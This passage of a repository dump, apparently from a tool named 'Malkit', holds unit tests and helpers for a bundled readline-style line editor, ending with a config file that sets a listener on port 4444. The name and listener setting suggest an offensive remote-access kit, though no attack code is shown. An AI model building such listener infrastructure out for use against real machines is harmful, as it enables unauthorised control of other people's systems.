78 | class Tester(unittest.TestProgram):
79 | def runTests(self):
80 | if self.testRunner is None:
81 | self.testRunner = unittest.TextTestRunner(verbosity=self.verbosity)
82 | result = self.testRunner.run(self.test)
83 | # sys.exit(not result.wasSuccessful())
84 |
--------------------------------------------------------------------------------
/listeners/_pline/test/test_emacs.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2006 Michael Graz.
4 | # Copyright (C) 2006 Michael Graz.
5 | #
6 | # Distributed under the terms of the BSD License. The full license is in
7 | # the file COPYING, distributed as part of this software.
8 | #*****************************************************************************
9 | from __future__ import print_function, unicode_literals, absolute_import
10 |
11 | import sys, unittest
12 | sys.path.insert(0, '../..')
13 | from _pline.modes.emacs import *
14 | from _pline import keysyms
15 | from _pline.lineeditor import lineobj
16 |
17 | from _pline.test.common import *
18 | from _pline.logger import log
19 | import _pline.logger as logger
20 | logger.sock_silent=True
21 | logger.show_event=["debug"]
22 |
23 | #----------------------------------------------------------------------
24 |
25 |
26 | class EmacsModeTest (EmacsMode):
27 | tested_commands={}
28 | def __init__ (self):
29 | EmacsMode.__init__ (self, MockReadline())
30 | self.mock_console = MockConsole ()
31 | self.init_editing_mode (None)
32 | self.lst_completions = []
33 | self.completer = self.mock_completer
34 | self.completer_delims = ' '
35 | self.tabstop = 4
36 | self.mark_directories=False
37 | self.show_all_if_ambiguous=False
38 |
39 | def get_mock_console (self):
40 | return self.mock_console
41 | console = property (get_mock_console)
42 |
43 | def _set_line (self, text):
44 | self.l_buffer.set_line (text)
45 |
46 | def get_line (self):
47 | return self.l_buffer.get_line_text ()
48 | line = property (get_line)
49 |
50 | def get_line_cursor (self):
51 | return self.l_buffer.point
52 | line_cursor = property (get_line_cursor)
53 |
54 | def input (self, keytext):
55 | if keytext[0:1] == '"' and keytext[-1:] == '"':
56 | lst_key = ['"%s"' % c for c in keytext[1:-1]]
57 | else:
58 | lst_key = [keytext]
59 | for key in lst_key:
60 | keyinfo, event = keytext_to_keyinfo_and_event (key)
61 | dispatch_func = self.key_dispatch.get(keyinfo.tuple(),self.self_insert)
62 | self.tested_commands[dispatch_func.__name__]=dispatch_func
63 | log("keydisp: %s %s"%( key,dispatch_func.__name__))
64 | dispatch_func (event)
65 | self.previous_func=dispatch_func
66 |
67 | def accept_line (self, e):
68 | if EmacsMode.accept_line (self, e):
69 | # simulate return
70 | # self.add_history (self.line)
71 | self.l_buffer.reset_line ()
72 |
73 | def mock_completer (self, text, state):
74 | return self.lst_completions [state]
75 |
76 | #----------------------------------------------------------------------
77 |
78 | class TestsKeyinfo (unittest.TestCase):
79 |
80 | def test_keyinfo (self):
81 | keyinfo, event = keytext_to_keyinfo_and_event ('"d"')
82 | self.assertEqual ('d', event.char)
83 | keyinfo, event = keytext_to_keyinfo_and_event ('"D"')
84 | self.assertEqual ('D', event.char)
85 | keyinfo, event = keytext_to_keyinfo_and_event ('"$"')
86 | self.assertEqual ('$', event.char)
87 | keyinfo, event = keytext_to_keyinfo_and_event ('Escape')
88 | self.assertEqual ('\x1b', event.char)
89 |
90 |
91 | class TestsMovement (unittest.TestCase):
92 | def test_cursor (self):
93 | r = EmacsModeTest ()
94 | self.assertEqual (r.line, '')
95 | r.input('"First Second Third"')
96 | self.assertEqual (r.line, 'First Second Third')
97 | self.assertEqual (r.line_cursor, 18)
98 | r.input('Control-a')
99 | self.assertEqual (r.line, 'First Second Third')
100 | self.assertEqual (r.line_cursor, 0)
101 | r.input('Control-e')
102 | self.assertEqual (r.line, 'First Second Third')
103 | self.assertEqual (r.line_cursor, 18)
104 | r.input('Home')
105 | self.assertEqual (r.line, 'First Second Third')
106 | self.assertEqual (r.line_cursor, 0)
107 | r.input('Right')
108 | self.assertEqual (r.line, 'First Second Third')
109 | self.assertEqual (r.line_cursor, 1)
110 | r.input('Ctrl-f')
111 | self.assertEqual (r.line, 'First Second Third')
112 | self.assertEqual (r.line_cursor, 2)
113 | r.input('Ctrl-Right')
114 | self.assertEqual (r.line, 'First Second Third')
115 | self.assertEqual (r.line_cursor, 5)
116 | r.input('Ctrl-Right')
117 | self.assertEqual (r.line, 'First Second Third')
118 | self.assertEqual (r.line_cursor, 12)
119 | r.input('Ctrl-Right')
120 | self.assertEqual (r.line, 'First Second Third')
121 | self.assertEqual (r.line_cursor, 18)
122 | r.input('Ctrl-Right')
123 | self.assertEqual (r.line, 'First Second Third')
124 | self.assertEqual (r.line_cursor, 18)
125 | r.input('Ctrl-Left')
126 | self.assertEqual (r.line, 'First Second Third')
127 | self.assertEqual (r.line_cursor, 13)
128 | r.input('Ctrl-Left')
129 | self.assertEqual (r.line, 'First Second Third')
130 | self.assertEqual (r.line_cursor, 6)
131 | r.input('Ctrl-Left')
132 | self.assertEqual (r.line, 'First Second Third')
133 | self.assertEqual (r.line_cursor, 0)
134 | r.input('Ctrl-Left')
135 | self.assertEqual (r.line, 'First Second Third')
136 | self.assertEqual (r.line_cursor, 0)
137 |
138 |
139 | class TestsDelete (unittest.TestCase):
140 | def test_delete (self):
141 | r = EmacsModeTest ()
142 | self.assertEqual (r.line, '')
143 | r.input('"First Second Third"')
144 | self.assertEqual (r.line, 'First Second Third')
145 | self.assertEqual (r.line_cursor, 18)
146 | r.input('Delete')
147 | self.assertEqual (r.line, 'First Second Third')
148 | self.assertEqual (r.line_cursor, 18)
149 | r.input('Left')
150 | r.input('Left')
151 | r.input('Delete')
152 | self.assertEqual (r.line, 'First Second Thid')
153 | self.assertEqual (r.line_cursor, 16)
154 | r.input('Delete')
155 | self.assertEqual (r.line, 'First Second Thi')
156 | self.assertEqual (r.line_cursor, 16)
157 | r.input('Backspace')
158 | self.assertEqual (r.line, 'First Second Th')
159 | self.assertEqual (r.line_cursor, 15)
160 | r.input('Home')
161 | r.input('Right')
162 | r.input('Right')
163 | self.assertEqual (r.line, 'First Second Th')
164 | self.assertEqual (r.line_cursor, 2)
165 | r.input('Backspace')
166 | self.assertEqual (r.line, 'Frst Second Th')
167 | self.assertEqual (r.line_cursor, 1)
168 | r.input('Backspace')
169 | self.assertEqual (r.line, 'rst Second Th')
170 | self.assertEqual (r.line_cursor, 0)
171 | r.input('Backspace')
172 | self.assertEqual (r.line, 'rst Second Th')
173 | self.assertEqual (r.line_cursor, 0)
174 | r.input('Escape')
175 | self.assertEqual (r.line, '')
176 | self.assertEqual (r.line_cursor, 0)
177 |
178 | def test_delete_word (self):
179 | r = EmacsModeTest ()
180 | self.assertEqual (r.line, '')
181 | r.input('"First Second Third"')
182 | self.assertEqual (r.line, 'First Second Third')
183 | self.assertEqual (r.line_cursor, 18)
184 | r.input('Control-Backspace')
185 | self.assertEqual (r.line, 'First Second ')
186 | self.assertEqual (r.line_cursor, 13)
187 | r.input('Backspace')
188 | r.input('Left')
189 | r.input('Left')
190 | self.assertEqual (r.line, 'First Second')
191 | self.assertEqual (r.line_cursor, 10)
192 | r.input('Control-Backspace')
193 | self.assertEqual (r.line, 'First nd')
194 | self.assertEqual (r.line_cursor, 6)
195 | r.input('Escape')
196 | self.assertEqual (r.line, '')
197 | self.assertEqual (r.line_cursor, 0)
198 | r.input('"First Second Third"')
199 | r.input('Home')
200 | r.input('Right')
201 | r.input('Right')
202 | r.input('Control-Delete')
203 | self.assertEqual (r.line, 'FiSecond Third')
204 | self.assertEqual (r.line_cursor, 2)
205 | r.input('Control-Delete')
206 | self.assertEqual (r.line, 'FiThird')
207 | self.assertEqual (r.line_cursor, 2)
208 | r.input('Control-Delete')
209 | self.assertEqual (r.line, 'Fi')
210 | self.assertEqual (r.line_cursor, 2)
211 | r.input('Control-Delete')
212 | self.assertEqual (r.line, 'Fi')
213 | self.assertEqual (r.line_cursor, 2)
214 | r.input('Escape')
215 | self.assertEqual (r.line, '')
216 | self.assertEqual (r.line_cursor, 0)
217 |
218 |
219 |
220 | class TestsSelectionMovement (unittest.TestCase):
221 | def test_cursor (self):
222 | r = EmacsModeTest ()
223 | self.assertEqual (r.line, '')
224 | r.input('"First Second Third"')
225 | self.assertEqual (r.line, 'First Second Third')
226 | self.assertEqual (r.line_cursor, 18)
227 | self.assertEqual (r.l_buffer.selection_mark, -1)
228 | r.input('Home')
229 | r.input('Shift-Right')
230 | self.assertEqual (r.line, 'First Second Third')
231 | self.assertEqual (r.line_cursor, 1)
232 | self.assertEqual (r.l_buffer.selection_mark, 0)
233 | r.input('Shift-Control-Right')
234 | self.assertEqual (r.line, 'First Second Third')
235 | self.assertEqual (r.line_cursor, 5)
236 | self.assertEqual (r.l_buffer.selection_mark, 0)
237 | r.input('"a"')
238 | self.assertEqual (r.line, 'a Second Third')
239 | self.assertEqual (r.line_cursor, 1)
240 | self.assertEqual (r.l_buffer.selection_mark, -1)
241 | r.input('Shift-End')
242 | self.assertEqual (r.line, 'a Second Third')
243 | self.assertEqual (r.line_cursor, 14)
244 | self.assertEqual (r.l_buffer.selection_mark, 1)
245 | r.input('Delete')
246 | self.assertEqual (r.line, 'a')
247 | self.assertEqual (r.line_cursor, 1)
248 | self.assertEqual (r.l_buffer.selection_mark, -1)
249 |
250 |
251 |
252 | class TestsHistory (unittest.TestCase):
253 | def test_history_1 (self):
254 | r = EmacsModeTest ()
255 | r.add_history ('aa')
256 | r.add_history ('bbb')
257 | self.assertEqual (r.line, '')
258 | r.input ('Up')
259 | self.assertEqual (r.line, 'bbb')
260 | self.assertEqual (r.line_cursor, 3)
261 | r.input ('Up')
262 | self.assertEqual (r.line, 'aa')
263 | self.assertEqual (r.line_cursor, 2)
264 | r.input ('Up')
265 | self.assertEqual (r.line, 'aa')
266 | self.assertEqual (r.line_cursor, 2)
267 | r.input ('Down')
268 | self.assertEqual (r.line, 'bbb')
269 | self.assertEqual (r.line_cursor, 3)
270 | r.input ('Down')
271 | self.assertEqual (r.line, '')
272 | self.assertEqual (r.line_cursor, 0)
273 |
274 | def test_history_2 (self):
275 | r = EmacsModeTest ()
276 | r.add_history ('aaaa')
277 | r.add_history ('aaba')
278 | r.add_history ('aaca')
279 | r.add_history ('akca')
280 | r.add_history ('bbb')
281 | r.add_history ('ako')
282 | self.assert_line(r,'',0)
283 | r.input ('"a"')
284 | r.input ('Up')
285 | self.assert_line(r,'ako',1)
286 | r.input ('Up')
287 | self.assert_line(r,'akca',1)
288 | r.input ('Up')
289 | self.assert_line(r,'aaca',1)
290 | r.input ('Up')
291 | self.assert_line(r,'aaba',1)
292 | r.input ('Up')
293 | self.assert_line(r,'aaaa',1)
294 | r.input ('Right')
295 | self.assert_line(r,'aaaa',2)
296 | r.input ('Down')
297 | self.assert_line(r,'aaba',2)
298 | r.input ('Down')
299 | self.assert_line(r,'aaca',2)
300 | r.input ('Down')
301 | self.assert_line(r,'aaca',2)
302 | r.input ('Left')
303 | r.input ('Left')
304 | r.input ('Down')
305 | r.input ('Down')
306 | self.assert_line(r,'bbb',3)
307 | r.input ('Left')
308 | self.assert_line(r,'bbb',2)
309 | r.input ('Down')
310 | self.assert_line(r,'bbb',2)
311 | r.input ('Up')
312 | self.assert_line(r,'bbb',2)
313 |
314 |
315 | def test_history_3 (self):
316 | r = EmacsModeTest ()
317 | r.add_history ('aaaa')
318 | r.add_history ('aaba')
319 | r.add_history ('aaca')
320 | r.add_history ('akca')
321 | r.add_history ('bbb')
322 | r.add_history ('ako')
323 | self.assert_line(r,'',0)
324 | r.input ('')
325 | r.input ('Up')
326 | self.assert_line(r,'ako',3)
327 | r.input ('Down')
328 | self.assert_line(r,'',0)
329 | r.input ('Up')
330 | self.assert_line(r,'ako',3)
331 |
332 | def test_history_3 (self):
333 | r = EmacsModeTest ()
334 | r.add_history ('aaaa')
335 | r.add_history ('aaba')
336 | r.add_history ('aaca')
337 | r.add_history ('akca')
338 | r.add_history ('bbb')
339 | r.add_history ('ako')
340 | self.assert_line(r,'',0)
341 | r.input ('k')
342 | r.input ('Up')
343 | self.assert_line(r,'k',1)
344 |
345 | def test_complete (self):
346 | import rlcompleter
347 | logger.sock_silent = False
348 |
349 | log("-" * 50)
350 | r = EmacsModeTest()
351 | completerobj = rlcompleter.Completer()
352 | def _nop(val, word):
353 | return word
354 | completerobj._callable_postfix = _nop
355 | r.completer = completerobj.complete
356 | r._bind_key("tab", r.complete)
357 | r.input('"exi(ksdjksjd)"')
358 | r.input('Control-a')
359 | r.input('Right')
360 | r.input('Right')
361 | r.input('Right')
362 | r.input('Tab')
363 | self.assert_line(r, "exit(ksdjksjd)", 4)
364 |
365 | r.input('Escape')
366 | r.input('"exi"')
367 | r.input('Control-a')
368 | r.input('Right')
369 | r.input('Right')
370 | r.input('Right')
371 | r.input('Tab')
372 | self.assert_line(r, "exit", 4)
373 |
374 |
375 |
376 | def assert_line(self,r,line,cursor):
377 | self.assertEqual (r.line, line)
378 | self.assertEqual (r.line_cursor, cursor)
379 |
380 | #----------------------------------------------------------------------
381 | # utility functions
382 |
383 | #----------------------------------------------------------------------
384 |
385 | if __name__ == '__main__':
386 | Tester()
387 | tested=list(EmacsModeTest.tested_commands.keys())
388 | tested.sort()
389 | # print(" Tested functions ".center(60,"-"))
390 | # print( "\n".join(tested))
391 | # print()
392 |
393 | all_funcs=dict([(x.__name__,x) for x in list(EmacsModeTest().key_dispatch.values())])
394 | all_funcs=list(all_funcs.keys())
395 | not_tested=[x for x in all_funcs if x not in tested]
396 | not_tested.sort()
397 | print(" Not tested functions ".center(60,"-"))
398 | print("\n".join(not_tested))
399 |
--------------------------------------------------------------------------------
/listeners/_pline/test/test_history.py:
--------------------------------------------------------------------------------
1 | # -*- coding: UTF-8 -*-
2 | # Copyright (C) 2007 Jörgen Stenarson. <>
3 | from __future__ import print_function, unicode_literals, absolute_import
4 |
5 | import sys, unittest
6 | sys.path.append ('../..')
7 | #from _pline.modes.vi import *
8 | #from _pline import keysyms
9 | from _pline.lineeditor import lineobj
10 | from _pline.lineeditor.history import LineHistory
11 | import _pline.lineeditor.history as history
12 |
13 | import _pline.logger
14 | _pline.logger.sock_silent=False
15 | from _pline.logger import log
16 | #----------------------------------------------------------------------
17 |
18 |
19 | #----------------------------------------------------------------------
20 | RL=lineobj.ReadLineTextBuffer
21 |
22 | class Test_prev_next_history(unittest.TestCase):
23 | t = "test text"
24 |
25 | def setUp(self):
26 | self.q = q = LineHistory()
27 | for x in ["aaaa", "aaba", "aaca", "akca", "bbb", "ako"]:
28 | q.add_history(RL(x))
29 |
30 | def test_previous_history (self):
31 | hist = self.q
32 | assert hist.history_cursor == 6
33 | l = RL("")
34 | hist.previous_history(l)
35 | assert l.get_line_text() == "ako"
36 | hist.previous_history(l)
37 | assert l.get_line_text() == "bbb"
38 | hist.previous_history(l)
39 | assert l.get_line_text() == "akca"
40 | hist.previous_history(l)
41 | assert l.get_line_text() == "aaca"
42 | hist.previous_history(l)
43 | assert l.get_line_text() == "aaba"
44 | hist.previous_history(l)
45 | assert l.get_line_text() == "aaaa"
46 | hist.previous_history(l)
47 | assert l.get_line_text() == "aaaa"
48 |
49 | def test_next_history (self):
50 | hist=self.q
51 | hist.beginning_of_history()
52 | assert hist.history_cursor==0
53 | l=RL("")
54 | hist.next_history(l)
55 | assert l.get_line_text()=="aaba"
56 | hist.next_history(l)
57 | assert l.get_line_text()=="aaca"
58 | hist.next_history(l)
59 | assert l.get_line_text()=="akca"
60 | hist.next_history(l)
61 | assert l.get_line_text()=="bbb"
62 | hist.next_history(l)
63 | assert l.get_line_text()=="ako"
64 | hist.next_history(l)
65 | assert l.get_line_text()=="ako"
66 |
67 | class Test_prev_next_history(unittest.TestCase):
68 | t = "test text"
69 |
70 | def setUp(self):
71 | self.q = q = LineHistory()
72 | for x in ["aaaa","aaba","aaca","akca","bbb","ako"]:
73 | q.add_history(RL(x))
74 |
75 | def test_history_search_backward (self):
76 | q = LineHistory()
77 | for x in ["aaaa","aaba","aaca"," aacax","akca","bbb","ako"]:
78 | q.add_history(RL(x))
79 | a=RL("aa",point=2)
80 | for x in ["aaca","aaba","aaaa","aaaa"]:
81 | res=q.history_search_backward(a)
82 | assert res.get_line_text()==x
83 |
84 | def test_history_search_forward (self):
85 | q = LineHistory()
86 | for x in ["aaaa","aaba","aaca"," aacax","akca","bbb","ako"]:
87 | q.add_history(RL(x))
88 | q.beginning_of_history()
89 | a=RL("aa",point=2)
90 | for x in ["aaba","aaca","aaca"]:
91 | res=q.history_search_forward(a)
92 | assert res.get_line_text()==x
93 |
94 | class Test_history_search_incr_fwd_backwd(unittest.TestCase):
95 | def setUp(self):
96 | self.q = q = LineHistory()
97 | for x in ["aaaa","aaba","aaca","akca","bbb","ako"]:
98 | q.add_history(RL(x))
99 |
100 | def test_backward_1(self):
101 | q = self.q
102 | self.assertEqual(q.reverse_search_history("b"), "bbb")
103 | self.assertEqual(q.reverse_search_history("b"), "aaba")
104 | self.assertEqual(q.reverse_search_history("bb"), "aaba")
105 |
106 | def test_backward_2(self):
107 | q = self.q
108 | self.assertEqual(q.reverse_search_history("a"), "ako")
109 | self.assertEqual(q.reverse_search_history("aa"), "aaca")
110 | self.assertEqual(q.reverse_search_history("a"), "aaca")
111 | self.assertEqual(q.reverse_search_history("ab"), "aaba")
112 |
113 |
114 | def test_forward_1(self):
115 | q = self.q
116 | self.assertEqual(q.forward_search_history("a"), "ako")
117 |
118 | def test_forward_2(self):
119 | q = self.q
120 | q.history_cursor = 0
121 | self.assertEqual(q.forward_search_history("a"), "aaaa")
122 | self.assertEqual(q.forward_search_history("a"), "aaba")
123 | self.assertEqual(q.forward_search_history("ak"), "akca")
124 | self.assertEqual(q.forward_search_history("akl"), "akca")
125 | self.assertEqual(q.forward_search_history("ak"), "akca")
126 | self.assertEqual(q.forward_search_history("ako"), "ako")
127 |
128 | class Test_empty_history_search_incr_fwd_backwd(unittest.TestCase):
129 | def setUp(self):
130 | self.q = q = LineHistory()
131 |
132 | def test_backward_1(self):
133 | q = self.q
134 | self.assertEqual(q.reverse_search_history("b"), "")
135 |
136 | def test_forward_1(self):
137 | q = self.q
138 | self.assertEqual(q.forward_search_history("a"), "")
139 |
140 |
141 | #----------------------------------------------------------------------
142 | # utility functions
143 |
144 | #----------------------------------------------------------------------
145 |
146 | if __name__ == '__main__':
147 | unittest.main()
148 |
149 | l=lineobj.ReadLineTextBuffer("First Second Third")
--------------------------------------------------------------------------------
/listeners/_pline/test/test_lineeditor.py:
--------------------------------------------------------------------------------
1 | # Copyright (C) 2006 Michael Graz.
2 | from __future__ import print_function, unicode_literals, absolute_import
3 |
4 | import sys, unittest
5 | sys.path.append ('../..')
6 | #from _pline.modes.vi import *
7 | #from _pline import keysyms
8 | from _pline.lineeditor import lineobj
9 |
10 | #----------------------------------------------------------------------
11 |
12 |
13 | #----------------------------------------------------------------------
14 |
15 | class Test_copy (unittest.TestCase):
16 | def test_copy1 (self):
17 | l=lineobj.ReadLineTextBuffer("first second")
18 | q=l.copy()
19 | self.assertEqual(q.get_line_text(),l.get_line_text())
20 | self.assertEqual(q.point,l.point)
21 | self.assertEqual(q.mark,l.mark)
22 |
23 | def test_copy2 (self):
24 | l=lineobj.ReadLineTextBuffer("first second",point=5)
25 | q=l.copy()
26 | self.assertEqual(q.get_line_text(),l.get_line_text())
27 | self.assertEqual(q.point,l.point)
28 | self.assertEqual(q.mark,l.mark)
29 |
30 |
31 | class Test_linepos (unittest.TestCase):
32 | t="test text"
33 | def test_NextChar (self):
34 | t=self.t
35 | l=lineobj.ReadLineTextBuffer(t)
36 | for i in range(len(t)):
37 | self.assertEqual(i,l.point)
38 | l.point=lineobj.NextChar
39 | #advance past end of buffer
40 | l.point=lineobj.NextChar
41 | self.assertEqual(len(t),l.point)
42 |
43 | def test_PrevChar (self):
44 | t=self.t
45 | l=lineobj.ReadLineTextBuffer(t,point=len(t))
46 | for i in range(len(t)):
47 | self.assertEqual(len(t)-i,l.point)
48 | l.point=lineobj.PrevChar
49 | #advance past beginning of buffer
50 | l.point=lineobj.PrevChar
51 | self.assertEqual(0,l.point)
52 |
53 | def test_EndOfLine (self):
54 | t=self.t
55 | l=lineobj.ReadLineTextBuffer(t,point=len(t))
56 | for i in range(len(t)):
57 | l.point=i
58 | l.point=lineobj.EndOfLine
59 | self.assertEqual(len(t),l.point)
60 |
61 | def test_StartOfLine (self):
62 | t=self.t
63 | l=lineobj.ReadLineTextBuffer(t,point=len(t))
64 | for i in range(len(t)):
65 | l.point=i
66 | l.point=lineobj.StartOfLine
67 | self.assertEqual(0,l.point)
68 |
69 |
70 | class Tests_linepos2(Test_linepos):
71 | t="kajkj"
72 |
73 | class Tests_linepos3(Test_linepos):
74 | t=""
75 |
76 |
77 | class Test_movement (unittest.TestCase):
78 | def test_NextChar (self):
79 | cmd=lineobj.NextChar
80 | tests=[
81 | # "First"
82 | (cmd,
83 | "First",
84 | "# ",
85 | " # "),
86 | (cmd,
87 | "First",
88 | " # ",
89 | " #"),
90 | (cmd,
91 | "First",
92 | " #",
93 | " #"),
94 | ]
95 | for cmd,text,init_point,expected_point in tests:
96 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
97 | l.point=cmd
98 | self.assertEqual(get_point_pos(expected_point),l.point)
99 |
100 | def test_PrevChar (self):
101 | cmd=lineobj.PrevChar
102 | tests=[
103 | # "First"
104 | (cmd,
105 | "First",
106 | " #",
107 | " # "),
108 | (cmd,
109 | "First",
110 | " # ",
111 | "# "),
112 | (cmd,
113 | "First",
114 | "# ",
115 | "# "),
116 | ]
117 | for cmd,text,init_point,expected_point in tests:
118 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
119 | l.point=cmd
120 | self.assertEqual(get_point_pos(expected_point),l.point)
121 |
122 |
123 |
124 | def test_PrevWordStart (self):
125 | cmd=lineobj.PrevWordStart
126 | tests=[
127 | # "First Second Third"
128 | (cmd,
129 | "First Second Third",
130 | " #",
131 | " # "),
132 | (cmd,
133 | "First Second Third",
134 | " # ",
135 | " # "),
136 | (cmd,
137 | "First Second Third",
138 | " # ",
139 | "# "),
140 | (cmd,
141 | "First Second Third",
142 | "# ",
143 | "# "),
144 | ]
145 | for cmd,text,init_point,expected_point in tests:
146 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
147 | l.point=cmd
148 | self.assertEqual(get_point_pos(expected_point),l.point)
149 |
150 | def test_NextWordStart (self):
151 | cmd=lineobj.NextWordStart
152 | tests=[
153 | # "First Second Third"
154 | (cmd,
155 | "First Second Third",
156 | "# ",
157 | " # "),
158 | (cmd,
159 | "First Second Third",
160 | " # ",
161 | " # "),
162 | (cmd,
163 | "First Second Third",
164 | " # ",
165 | " # "),
166 | (cmd,
167 | "First Second Third",
168 | " # ",
169 | " #"),
170 | ]
171 | for cmd,text,init_point,expected_point in tests:
172 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
173 | l.point=cmd
174 | self.assertEqual(get_point_pos(expected_point),l.point)
175 |
176 | def test_NextWordEnd (self):
177 | cmd=lineobj.NextWordEnd
178 | tests=[
179 | # "First Second Third"
180 | (cmd,
181 | "First Second Third",
182 | "# ",
183 | " # "),
184 | (cmd,
185 | "First Second Third",
186 | " # ",
187 | " # "),
188 | (cmd,
189 | "First Second Third",
190 | " # ",
191 | " # "),
192 | (cmd,
193 | "First Second Third",
194 | " # ",
195 | " #"),
196 | ]
197 | for cmd,text,init_point,expected_point in tests:
198 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
199 | l.point=cmd
200 | self.assertEqual(get_point_pos(expected_point),l.point)
201 |
202 | def test_PrevWordEnd (self):
203 | cmd=lineobj.PrevWordEnd
204 | tests=[
205 | # "First Second Third"
206 | (cmd,
207 | "First Second Third",
208 | " #",
209 | " # "),
210 | (cmd,
211 | "First Second Third",
212 | " # ",
213 | " # "),
214 | (cmd,
215 | "First Second Third",
216 | " # ",
217 | "# "),
218 | (cmd,
219 | "First Second Third",
220 | "# ",
221 | "# "),
222 | ]
223 | for cmd,text,init_point,expected_point in tests:
224 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
225 | l.point=cmd
226 | self.assertEqual(get_point_pos(expected_point),l.point)
227 |
228 | def test_WordEnd_1 (self):
229 | cmd=lineobj.WordEnd
230 | tests=[
231 | # "First Second Third"
232 | (cmd,
233 | "First Second Third",
234 | "# ",
235 | " # "),
236 | (cmd,
237 | "First Second Third",
238 | " # ",
239 | " # "),
240 | (cmd,
241 | "First Second Third",
242 | " # ",
243 | " #"),
244 | ]
245 | for cmd,text,init_point,expected_point in tests:
246 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
247 | l.point=cmd
248 | self.assertEqual(get_point_pos(expected_point),l.point)
249 |
250 | def test_WordEnd_2 (self):
251 | cmd=lineobj.WordEnd
252 | tests=[
253 | # "First Second Third"
254 | (cmd,
255 | "First Second Third",
256 | " # "),
257 | (cmd,
258 | "First Second Third",
259 | " # "),
260 | (cmd,
261 | "First Second Third",
262 | " #"),
263 | ]
264 |
265 | for cmd,text,init_point in tests:
266 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
267 | self.assertRaises(lineobj.NotAWordError,cmd,l)
268 |
269 |
270 | def test_WordStart_1 (self):
271 | cmd=lineobj.WordStart
272 | tests=[
273 | # "First Second Third"
274 | (cmd,
275 | "First Second Third",
276 | "# ",
277 | "# "),
278 | (cmd,
279 | "First Second Third",
280 | " # ",
281 | "# "),
282 | (cmd,
283 | "First Second Third",
284 | " # ",
285 | " # "),
286 | ]
287 | for cmd,text,init_point,expected_point in tests:
288 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
289 | l.point=cmd
290 | self.assertEqual(get_point_pos(expected_point),l.point)
291 |
292 | def test_WordStart_2 (self):
293 | cmd=lineobj.WordStart
294 | tests=[
295 | # "First Second Third"
296 | (cmd,
297 | "First Second Third",
298 | " # "),
299 | (cmd,
300 | "First Second Third",
301 | " # "),
302 | (cmd,
303 | "First Second Third",
304 | " #"),
305 | ]
306 |
307 | for cmd,text,init_point in tests:
308 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
309 | self.assertRaises(lineobj.NotAWordError,cmd,l)
310 |
311 |
312 | def test_StartOfLine (self):
313 | cmd=lineobj.StartOfLine
314 | tests=[
315 | # "First Second Third"
316 | (cmd,
317 | "First Second Third",
318 | "# ",
319 | "# "),
320 | (cmd,
321 | "First Second Third",
322 | " # ",
323 | "# "),
324 | (cmd,
325 | "First Second Third",
326 | " #",
327 | "# "),
328 | ]
329 | for cmd,text,init_point,expected_point in tests:
330 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
331 | l.point=cmd
332 | self.assertEqual(get_point_pos(expected_point),l.point)
333 |
334 | def test_EndOfLine (self):
335 | cmd=lineobj.EndOfLine
336 | tests=[
337 | # "First Second Third"
338 | (cmd,
339 | "First Second Third",
340 | "# ",
341 | " #"),
342 | (cmd,
343 | "First Second Third",
344 | " # ",
345 | " #"),
346 | (cmd,
347 | "First Second Third",
348 | " #",
349 | " #"),
350 | ]
351 | for cmd,text,init_point,expected_point in tests:
352 | l=lineobj.ReadLineTextBuffer(text,get_point_pos(init_point))
353 | l.point=cmd
354 | self.assertEqual(get_point_pos(expected_point),l.point)
355 |
356 | def test_Point(self):
357 | cmd=lineobj.Point
358 | tests=[
359 | # "First Second Third"
360 | (cmd,
361 | "First Second Third",
362 | 0),
363 | (cmd,
364 | "First Second Third",
365 | 12),
366 | (cmd,
367 | "First Second Third",
368 | 18),
369 | ]
370 | for cmd,text,p in tests:
371 | l=lineobj.ReadLineTextBuffer(text,p)
372 | self.assertEqual(p,cmd(l))
373 |
374 |
375 | #----------------------------------------------------------------------
376 | # utility functions
377 |
378 | def get_point_pos(pstr):
379 | return pstr.index("#")
380 |
381 | def get_mark_pos(mstr):
382 | try:
383 | return mstr.index("#")
384 | except ValueError:
385 | return -1
386 | #----------------------------------------------------------------------
387 |
388 | if __name__ == '__main__':
389 | unittest.main()
390 |
391 | l=lineobj.ReadLineTextBuffer("First Second Third")
392 |
--------------------------------------------------------------------------------
/listeners/_pline/unicode_helper.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2007 Jorgen Stenarson.
4 | #
5 | # Distributed under the terms of the BSD License. The full license is in
6 | # the file COPYING, distributed as part of this software.
7 | #*****************************************************************************
8 | import sys
9 |
10 | from .py3k_compat import unicode, bytes
11 |
12 | try:
13 | _pline_codepage = sys.stdout.encoding
14 | except AttributeError:
15 | # This error occurs when pdb imports readline and doctest has replaced
16 | # stdout with stdout collector. We will assume ascii codepage
17 | _pline_codepage = "ascii"
18 |
19 | if _pline_codepage is None:
20 | _pline_codepage = "ascii"
21 |
22 | if sys.version_info < (2, 6):
23 | bytes = str
24 |
25 | PY3 = (sys.version_info >= (3, 0))
26 |
27 | def ensure_unicode(text):
28 | """helper to ensure that text passed to WriteConsoleW is unicode"""
29 | if isinstance(text, bytes):
30 | try:
31 | return text.decode(_pline_codepage, "replace")
32 | except (LookupError, TypeError):
33 | return text.decode("ascii", "replace")
34 | return text
35 |
36 |
37 | def ensure_str(text):
38 | """Convert unicode to str using _pline_codepage"""
39 | if isinstance(text, unicode):
40 | try:
41 | return text.encode(_pline_codepage, "replace")
42 | except (LookupError, TypeError):
43 | return text.encode("ascii", "replace")
44 | return text
45 |
46 | def biter(text):
47 | if PY3 and isinstance(text, bytes):
48 | return (s.to_bytes(1, 'big') for s in text)
49 | else:
50 | return iter(text)
51 |
--------------------------------------------------------------------------------
/malkit.conf:
--------------------------------------------------------------------------------
1 | [DEFAULT]
2 | Version=v0.4-a
3 | VersionLong=Malkit v0.4-a (Alpha)
4 | Fail=0
5 |
6 | [LISTENER]
7 | Port = 4444
